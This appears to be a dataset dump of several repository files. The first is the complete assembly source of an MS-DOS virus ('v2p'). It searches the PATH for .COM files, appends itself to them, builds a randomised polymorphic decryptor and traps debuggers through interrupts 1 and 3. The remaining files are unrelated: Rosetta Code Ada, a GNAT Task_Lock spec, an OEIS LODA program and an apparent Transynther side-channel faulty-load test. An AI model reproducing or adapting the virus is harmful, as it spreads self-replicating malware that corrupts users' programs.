max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
MSDOS/Virus.MSDOS.Unknown.v2p.asm | fengjixuchui/Family | 3 | 160745 | <gh_stars>1-10
;
;
; Copyright (C) <NAME>, 1990. All Rights Reserved
;
;
; Inquires are directed to :
; <NAME>
; 4656 Polk Street NE
; Columbia Heights, MN 55421
; USA
;
;
;
;
code segment public 'CODE'
org 100h
;
assume cs:code,ds:code,es:code
;
stopdebug equ 1 ; define this for disassembly trap code
int1vec equ 4
int3vec equ 12
;
dta_ptr equ -4
file_crea equ -8
file_attr equ -10
path_start_ptr equ -12
file_start_ptr equ -14
RAND_SEED equ -16
ptr1 equ -18 ; pointer to start of loop code
ptr2 equ -20 ; save data_begin pointer
dat1 equ -22 ; the random code used
dat2 equ -24 ; the decode length plus random length offset, max_msk
; to make the decode routine more difficult to detect
dat3 equ -26 ; the 'necessary crypt code' mask
;
IFNDEF stopdebug
local_stack equ 26
max_msk equ 0ffh ; this determines the maximum variance of length
ELSE
nobugptr equ -28
oldint3 equ -32
oldint1 equ -36
local_stack equ 36
max_msk equ 0ffh ; this determines the maximum variance of length
ENDIF
;
;
;
doscall macro call_type
ifnb <call_type>
mov ah, call_type
endif
int 21h
endm
;
setloc macro arg1,reg2
mov [bp + arg1],reg2
endm
;
getloc macro reg1,arg2
mov reg1,[bp + arg2]
endm
;
setdat macro arg1,reg2
mov [si + offset arg1 - offset data_begin],reg2
endm
;
getdat macro reg1,arg2
mov reg1,[si + offset arg2 - offset data_begin]
endm
;
regofs macro reg1,arg2
mov reg1,si
add reg1,offset (arg2 - data_begin)
endm
;
NOBUG1 macro
IFDEF stopdebug
INT 3
NOP
ENDIF
endm
;
nobug2 macro
IFDEF stopdebug
INT 3
ENDIF
endm
;
;
start:
jmp entry
;
;
;
MOV AH,0
INT 021h ; program code
; db 600h-6 dup (0)
; insert utility code here
;
entry:
; space for decode routine
IFDEF stopdebug
call precrypt
db 36 dup (090h) ; calculated length of offset(t41-t10)
ELSE
db 39 dup (090h) ; calculated length of offset(t41-t10)
ENDIF
;
; label the start of encoded section
entry2:
mov bp,sp ; allocate locals
sub sp,local_stack
;
push cx
movcmd: ; this label is used to locate the next instruction
mov dx,offset data_begin
setloc ptr2,dx ; save - will be modified in 'gencode'
IFDEF stopdebug
;
; save interrupt 1 and 3 vectors
;
push ds
mov ax,0
push ax
pop ds
cli
mov ax,ds:[int1vec]
setloc oldint1,ax
mov ax,ds:[int1vec+2]
setloc oldint1+2,ax
mov ax,ds:[int3vec]
setloc oldint3,ax
mov ax,ds:[int3vec+2]
setloc oldint3+2,ax
sti
pop ds
;
call bugon
ENDIF
mov si,dx
add si,(offset old_code - offset data_begin)
mov di,0100h
mov cx,03h
cld
repz movsb
mov si,dx
doscall 30h ; check DOS version
cmp al,0
NOBUG1 ; 0
jnz cont1 ; DOS > 2.0
jmp exit
cont1:
push es
doscall 2fh ; get program DTA
NOBUG1 ; 0
setloc dta_ptr,bx
NOBUG1 ; 0
setloc dta_ptr+2,es
pop es
regofs dx,my_dta
doscall 1ah ; set new DTA
push es
push si
mov es,ds:[02ch] ; environment address
mov di,0
loop1:
pop si
push si
add si,(offset path_chars - offset data_begin)
lodsb
mov cx,8000h
repnz scasb
mov cx,4
loop2:
lodsb
scasb
jnz loop1
loop loop2
pop si
pop es
setloc path_start_ptr,di
mov bx,si
add si,offset (file_name-data_begin)
mov di,si
jmp cont6
nobug2
next_path:
cmp word ptr [bp + path_start_ptr],0
jnz cont3
jmp exit2
nobug2
cont3:
push ds
push si
mov ds,es:[002ch]
mov di,si
mov si,es:[bp+path_start_ptr]
add di,offset (file_name-data_begin)
loop3:
lodsb
cmp al,';' ; 3bh
jz cont4
cmp al,0
jz cont5
stosb
jmp loop3
nobug2
cont5:
mov si,0
cont4:
pop bx
pop ds
mov [bp+path_start_ptr],si
cmp ch,0ffh
jz cont6
mov al,'\' ; 5ch
stosb
cont6:
mov [bp+file_start_ptr],di
mov si,bx
add si,(offset com_search-offset data_begin)
mov cx,6
repz movsb
mov si,bx
mov ah,04eh
regofs dx,file_name
mov cx,3
doscall
jmp cont7
nobug2
next_file:
doscall 04fh
cont7:
jnb cont8
jmp next_path
nobug2
cont8:
mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
and al,01fh
cmp al,01fh
jz next_file
IFNDEF stopdebug
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
; file length compared; need 1.5 k spare, see rnd off
ELSE
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
ENDIF
jz next_file ; with virus length
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah
; file to short
jz next_file
mov di,[bp+file_start_ptr]
push si
add si,offset(my_dta-data_begin+01eh)
move_name:
lodsb
stosb
cmp al,0
jnz move_name
pop si
mov ax,04300h
regofs dx,file_name
doscall
setloc file_attr,cx
mov ax,04301h
and cx,0fffeh
regofs dx,file_name
doscall
mov ax,03d02h
regofs dx,file_name
doscall
jnb cont9
jmp exit3
nobug2
cont9:
mov bx,ax
mov ax,05700h
doscall
setloc file_crea,cx
setloc file_crea+2,dx
cont10:
mov ah,3fh
mov cx,3
regofs dx,old_code
doscall
NOBUG1 ; 1
jb cont98
NOBUG1
cmp ax,3
NOBUG1
jnz cont98
NOBUG1
mov ax,04202h
NOBUG1 ;1
mov cx,0
mov dx,0
doscall
jnb cont99
cont98:
jmp exit4
cont99:
NOBUG1 ; 2
push bx ; save file handle
NOBUG1
mov cx,ax
push cx
NOBUG1
sub ax,3
NOBUG1
setdat jump_code+1,ax
add cx,(offset data_begin-offset entry+0100h)
NOBUG1
mov di,si
NOBUG1
sub di,offset data_begin-offset movcmd-1
NOBUG1
mov [di],cx
;
doscall 02ch ; seed the random number generator
xor dx,cx
NOBUG1
setloc rand_seed,dx
NOBUG1 ; 2
call random
NOBUG1 ; 3
getloc ax,rand_seed
NOBUG1 ; 3
and ax,max_msk ; add a random offset to actual length
NOBUG1 ; 3
add ax,offset (data_end-entry2) ; set decode length
NOBUG1 ; 3
setloc dat2,ax ; save the decode length
NOBUG1 ; 3
setdat (t13+1),ax ; set decode length in 'mov cx,xxxx'
pop cx ; restore the code length of file to be infected
NOBUG1 ; 3
add cx,offset (entry2-entry+0100h) ; add the length
; of uncoded area plus file offset
setdat (t11+1),cx ; set decode begin in 'mov di,xxxx'
NOBUG1 ; 3
call random
getloc ax,rand_seed
NOBUG1 ; 3
setloc dat1,ax ; save this random key in dat1
setdat (t12+1),ax ; set random key in 'mov ax,xxxx'
NOBUG1 ; 3
mov di,si
NOBUG1 ; 3
sub di,offset (data_begin-entry)
NOBUG1 ; 3
mov bx,si
add bx,offset (l11-data_begin) ; table L11 address
mov word ptr [bp+dat3],000000111b ; required routines
call gen2 ; generate first part of decrypt
setloc ptr1,di ; save the current counter to resolve 'loop'
add bx,offset (l21-l11) ; add then next tables' offset
NOBUG1 ; 3
mov word ptr [bp+dat3],010000011b ; required plus 'nop'
NOBUG1 ; 3
call gen2 ; generate second part of decrypt
add bx,offset (l31-l21) ; add the next offset
NOBUG1
call gen2 ; generate third part of decrypt
mov cx,2 ; store the loop code
getloc si,ptr2
NOBUG1 ; 3
add si,offset (t40-t10) ; point to the code
repz movsb ; move the code
getloc ax,ptr1 ; the loop address pointer
sub ax,di ; the current address
dec di ; point to the jump address
stosb ; resolve the jump
; fill in the remaining code
l991:
getloc cx,ptr2 ; get the data_begin pointer
sub cx,offset (data_begin-entry2) ; locate last+1 entry
cmp cx,di ; are we there yet?
je l992 ; if not then fill some more space
mov dx,0h ; any code is ok
call gencode ; generate the code
jmp l991
nobug2
l992:
getloc si,ptr2 ; restore si to point to data area ;
push si
mov di,si
NOBUG1 ; 4
mov cx,offset(end1-begin1) ; move code
add si,offset(begin1-data_begin)
NOBUG1 ; 4
add di,offset(data_end-data_begin+max_msk) ; add max_msk
mov dx,di ; set subroutine start
repz movsb ; move the code
pop si
pop bx ; restore handle
call setrtn ; find this address
add ax,06h ; <- the number necessary for proper return
push ax
jmp dx ; continue with mask & write code
; continue here after return from mask & write code
NOBUG1 ; 4
jb exit4
cmp ax,offset(data_end-entry)
NOBUG1 ; 4
jnz exit4
mov ax,04200h
mov cx,0
mov dx,0
doscall
jb exit4
mov ah,040h
mov cx,3
NOBUG1 ; 4
regofs dx,jump_code
doscall
exit4:
getloc dx,file_crea+2
getloc cx,file_crea
and cx,0ffe0h
or cx,0001fh
mov ax,05701h
doscall
doscall 03Eh ; close file
exit3:
mov ax,04301h
getloc cx,file_attr
regofs dx,file_name
doscall
exit2:
push ds
getloc dx,dta_ptr
getloc ds,dta_ptr+2
doscall 01ah
pop ds
exit:
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov sp,bp ; deallocate locals
mov di,0100h
push di
CALL BUGOFF
ret
;
; common subroutines
;
;
random proc near
;
getloc cx,rand_seed ; get the seed
xor cx,813Ch ; xor random pattern
add cx,9248h ; add random pattern
ror cx,1 ; rotate
ror cx,1 ; three
ror cx,1 ; times.
setloc rand_seed,cx ; put it back
and cx,7 ; ONLY NEED LOWER 3 BITS
push cx
inc cx
xor ax,ax
stc
rcl ax,cl
pop cx
ret ; return
;
random endp
;
setrtn proc near
;
pop ax ; ret near
push ax
ret
;
setrtn endp
;
gencode proc near
;
l999:
call random
test dx,ax ; has this code been used yet?
jnz l999 ; if this code was generated - try again
or dx,ax ; set the code as used in dx
mov ax,cx ; the look-up index
sal ax,1
push ax
xlat
mov cx,ax ; the count of instructions
pop ax
inc ax
xlat
add ax,[bp+ptr2] ; ax = address of code to be moved
mov si,ax
repz movsb ; move the code into place
ret
;
gencode endp
;
gen2 proc near
;
mov dx,0h ; used code
l990:
call gencode
mov ax,dx ; do we need more code
and ax,[bp+dat3] ; the mask for the required code
cmp ax,[bp+dat3]
jne l990 ; if still need required code - loop again
ret
;
gen2 endp
;
IFDEF stopdebug
doint3:
push bx
mov bx,sp
push ax
push si
mov si,word ptr [bx+02]
inc word ptr [bx+02] ; point to next address
setloc nobugptr,si
lodsb ; get the byte following int 3
xor byte ptr [si],al
mov al,[bx+7] ; set the trap flag
or al,1
mov [bx+7],al
pop si
pop ax
pop bx
iret
;
doint1:
push bx
mov bx,sp
push ax
push si
getloc si,nobugptr
lodsb
xor byte ptr [si],al
mov al,[bx+7] ; clear the trap flag
and al,0feh
mov [bx+7],al
pop si
pop ax
pop bx
bugiret:
iret
;
bugon:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,ptr2
sub ax,offset(data_begin-doint3)
cli
mov ds:[int3vec],ax
getloc ax,ptr2
sub ax,offset(data_begin-doint1)
mov ds:[int1vec],ax
push cs
pop ax
mov ds:[int1vec+2],ax
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
bugoff:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,oldint3
cli
mov ds:[int3vec],ax
getloc ax,oldint1
mov ds:[int1vec],ax
getloc ax,oldint1+2
mov ds:[int1vec+2],ax
getloc ax,oldint3+2
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
ENDIF
;
;
; the data area
;
data_begin label near
;
T10 LABEL NEAR
T11: MOV DI,0FFFFH
T12: MOV AX,0FFFFH
T13: MOV CX,0FFFFH
T14: CLC
T15: CLD
T16: INC SI
T17: DEC BX
T18: NOP
T19 LABEL NEAR
;
T20 LABEL NEAR
T21: XOR [DI],AX
T22: XOR [DI],CX
T23: XOR DX,CX
T24: XOR BX,CX
T25: SUB BX,AX
T26: SUB BX,CX
T27: SUB BX,DX
T28: NOP
T29 LABEL NEAR
;
T30 LABEL NEAR
T31: INC AX
T32: INC DI
T33: INC BX
T34: INC SI
T35: INC DX
T36: CLC
T37: DEC BX
T38: NOP
T39 LABEL NEAR
;
T40: LOOP T20
T41 LABEL NEAR
;
L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin)
L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin)
L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin)
L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin)
L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin)
L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin)
L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin)
L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin)
;
L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin)
L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin)
L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin)
L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin)
L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin)
L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin)
L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin)
L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin)
;
L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin)
L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin)
L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin)
L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin)
L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin)
L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin)
L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin)
L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin)
;
;
;
; this routine is relocated after the end of data area
; this routine encrypts, writes, and decrypts the virus code
;
begin1:
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1 ; get decode ket
mov di,si ; and set the begin encrypt address
sub di,offset (data_begin-entry2)
call crypt
mov ah,040h
mov cx,offset data_end-offset entry
mov dx,si
sub dx,offset data_begin-offset entry
doscall
pushf ; save the status of the write
push ax
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1
mov di,si
sub di,offset (data_begin-entry2)
call crypt
pop ax ; restore the DOS write's status
popf
ret
;
crypt:
xor [di],ax
xor [di],cx
inc ax
inc di
loop crypt
ret
end1:
;
; global work space and constants
;
old_code: db 090h,090h,090h
jump_code: db 0e9h,0,0
com_search: db '*.COM',0
path_chars: db 'PATH='
file_name: db 40h DUP (0)
my_dta: db 2Bh DUP (0)
db 0,0,0
data_end label near
IFDEF stopdebug
;
scan_bytes db 0CCh,090h
;
precrypt:
mov bp,sp ; allocate locals
sub sp,local_stack
doscall 02ch ; seed the random number generator
xor dx,cx
setloc rand_seed,dx
call random
mov di,offset start
push ds
pop es
lp999:
mov cx,08000h
mov si,offset scan_bytes
lodsb
repnz scasb
cmp cx,0
je done998
cmp di,offset data_end
jge done998
lodsb
scasb
jnz lp999
call random
getloc ax,rand_seed
dec di
mov [di],al
inc di
xor [di],al
inc di ; skip the masked byte
jmp short lp999
done998:
mov sp,bp
ret
ENDIF
code ends
end start
|
Task/Memory-layout-of-a-data-structure/Ada/memory-layout-of-a-data-structure.ada | LaudateCorpus1/RosettaCodeData | 1 | 27073 | <filename>Task/Memory-layout-of-a-data-structure/Ada/memory-layout-of-a-data-structure.ada
type Bit is mod 2;
type Rs_232_Layout is record
Carrier_Detect : Bit;
Received_Data : Bit;
Transmitted_Data : Bit;
Data_Terminal_ready : Bit;
Signal_Ground : Bit;
Data_Set_Ready : Bit;
Request_To_Send : Bit;
Clear_To_Send : Bit;
Ring_Indicator : Bit;
end record;
for Rs_232_Layout use record
Carrier_Detect at 0 range 0..0;
Received_Data at 0 range 1..1;
Transmitted_Data at 0 range 2..2;
Data_Terminal_Ready at 0 range 3..3;
Signal_Ground at 0 range 4..4;
Data_Set_Ready at 0 range 5..5;
Request_To_Send at 0 range 6..6;
Clear_To_Send at 0 range 7..7;
Ring_Indicator at 0 range 8..8;
end record;
|
tools-src/gnu/gcc/gcc/ada/g-tasloc.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 22900 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- G N A T . T A S K _ L O C K --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1998-2001 Ada Core Technologies, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT is maintained by Ada Core Technologies Inc (http://www.gnat.com). --
-- --
------------------------------------------------------------------------------
-- Simple task lock and unlock routines
-- A small package containing a task lock and unlock routines for creating
-- a critical region. The lock involved is a global lock, shared by all
-- tasks, and by all calls to these routines, so these routines should be
-- used with care to avoid unnecessary reduction of concurrency.
-- These routines may be used in a non-tasking program, and in that case
-- they have no effect (they do NOT cause the tasking runtime to be loaded).
package GNAT.Task_Lock is
pragma Elaborate_Body (Task_Lock);
procedure Lock;
pragma Inline (Lock);
-- Acquires the global lock, starts the execution of a critical region
-- which no other task can enter until the locking task calls Unlock
procedure Unlock;
pragma Inline (Unlock);
-- Releases the global lock, allowing another task to successfully
-- complete a Lock operation. Terminates the critical region.
-- The recommended protocol for using these two procedures is as
-- follows:
-- Locked_Processing : begin
-- Lock;
-- ...
-- TSL.Unlock;
--
-- exception
-- when others =>
-- Unlock;
-- raise;
-- end Locked_Processing;
-- This ensures that the lock is not left set if an exception is raised
-- explicitly or implicitly during the critical locked region.
-- Note on multiple calls to Lock: It is permissible to call Lock
-- more than once with no intervening Unlock from a single task,
-- and the lock will not be released until the corresponding number
-- of Unlock operations has been performed. For example:
-- GNAT.Task_Lock.Lock; -- acquires lock
-- GNAT.Task_Lock.Lock; -- no effect
-- GNAT.Task_Lock.Lock; -- no effect
-- GNAT.Task_Lock.Unlock; -- no effect
-- GNAT.Task_Lock.Unlock; -- no effect
-- GNAT.Task_Lock.Unlock; -- releases lock
-- However, as previously noted, the Task_Lock facility should only
-- be used for very local locks where the probability of conflict is
-- low, so usually this kind of nesting is not a good idea in any case.
-- In more complex locking situations, it is more appropriate to define
-- an appropriate protected type to provide the required locking.
end GNAT.Task_Lock;
|
oeis/156/A156887.asm | neoneye/loda-programs | 11 | 89001 | ; A156887: a(n) = Sum_{k=0..n} C(n,k)*C(4*n+k,k).
; Submitted by <NAME>
; 1,6,64,768,9708,126386,1676956,22548168,306167324,4188703512,57649462164,797294161824,11071026740964,154250752864812,2155368246401224,30192512693210888,423859798484668188,5961793387214958792,83998039356129372448,1185277027372535468544,16747966884191576871808,236940103168518801679458,3355830227555353717155996,47577708828798442010280376,675167971726452505587377348,9589414323729828662963950536,136306099971589612616338593416,1938901442435109538741972519104,27598817510001984874158256142808
mov $1,1
mov $2,1
mov $3,$0
mul $0,4
mov $4,2
lpb $3
add $0,1
mul $1,$3
mul $1,$0
sub $3,1
sub $5,1
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1533.asm | ljhsiun2/medusa | 9 | 244922 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1533.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x124db, %rsi
lea addresses_WC_ht+0x1c597, %rdi
clflush (%rdi)
nop
nop
xor %r15, %r15
mov $80, %rcx
rep movsb
nop
nop
nop
nop
and %r8, %r8
lea addresses_WT_ht+0x1e297, %r14
clflush (%r14)
nop
nop
nop
nop
nop
xor $33856, %rax
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %r14
movntdq %xmm3, (%r14)
nop
and $53814, %rcx
lea addresses_D_ht+0x9c3d, %rsi
lea addresses_WT_ht+0x3797, %rdi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov $2, %rcx
rep movsq
nop
add %rdi, %rdi
lea addresses_WC_ht+0x18929, %rcx
sub %rdi, %rdi
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
nop
nop
xor $36902, %rcx
lea addresses_normal_ht+0x257, %rsi
lea addresses_normal_ht+0x4e97, %rdi
and %r8, %r8
mov $61, %rcx
rep movsq
and $37694, %r14
lea addresses_A_ht+0x9a17, %rax
clflush (%rax)
nop
nop
cmp $24278, %r8
movups (%rax), %xmm2
vpextrq $0, %xmm2, %r14
nop
add %rdi, %rdi
lea addresses_WC_ht+0x197b, %rax
nop
and %r14, %r14
mov (%rax), %r8w
xor %rdi, %rdi
lea addresses_UC_ht+0x1ce91, %rdi
nop
nop
sub $62808, %rdx
movb (%rdi), %cl
inc %rdx
lea addresses_UC_ht+0xbb57, %rax
nop
nop
xor %r15, %r15
movl $0x61626364, (%rax)
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0xec17, %rsi
nop
and %r14, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm5
and $0xffffffffffffffc0, %rsi
movaps %xmm5, (%rsi)
nop
nop
xor %r8, %r8
lea addresses_UC_ht+0x11a8f, %rsi
lea addresses_WT_ht+0x2ddf, %rdi
nop
nop
nop
xor $27556, %rdx
mov $9, %rcx
rep movsq
nop
nop
nop
nop
nop
and $39266, %rax
lea addresses_D_ht+0x4ae7, %r8
nop
nop
nop
sub $37547, %rax
vmovups (%r8), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r15
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x1b197, %r14
nop
nop
lfence
mov $0x6162636465666768, %rax
movq %rax, %xmm6
movups %xmm6, (%r14)
and $52642, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x9217, %rsi
lea addresses_WC+0xc6bb, %rdi
nop
nop
nop
nop
and $60243, %r13
mov $13, %rcx
rep movsl
nop
nop
cmp $64005, %rcx
// REPMOV
lea addresses_RW+0x1c897, %rsi
mov $0x275, %rdi
nop
nop
nop
nop
nop
dec %rax
mov $14, %rcx
rep movsq
nop
sub $7639, %rsi
// Faulty Load
lea addresses_normal+0x16e97, %r8
nop
and %rbp, %rbp
mov (%r8), %r13d
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_P'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 